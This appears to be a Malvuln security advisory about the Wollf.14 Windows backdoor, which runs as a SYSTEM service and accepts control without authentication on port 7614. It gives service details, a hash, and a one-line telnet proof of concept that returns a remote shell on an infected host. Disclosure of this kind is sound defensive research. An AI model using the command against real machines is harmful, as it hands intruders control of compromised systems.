Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ccd3e54eb76b3349db57481a0fe68b35.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wollf.14 Vulnerability: Missing Authentication Description: Wollf.14 listens on TCP port 7614 and creates a service "wrm" running as SYSTEM. The backdoor then allows casual intruders to take control of the infected system as there is no authentication required. C:\>sc qc wrm [SC] QueryServiceConfig SUCCESS SERVICE_NAME: wrm TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\system32\wrm.exe -start LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Wollf Remote Manager DEPENDENCIES : SERVICE_START_NAME : LocalSystem Type: PE32 MD5: ccd3e54eb76b3349db57481a0fe68b35 Vuln ID: MVID-2021-0055 Dropped files: wrm.exe Disclosure: 01/26/2021 Exploit/PoC: TELNET BACKDOORED_HOST_IP 7614 "Wollf Remote Manager" v1.4 Code by wollf, http://www.xfocus.org [DESKTOP-BLAHXO@C:\WINDOWS\system32]# Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).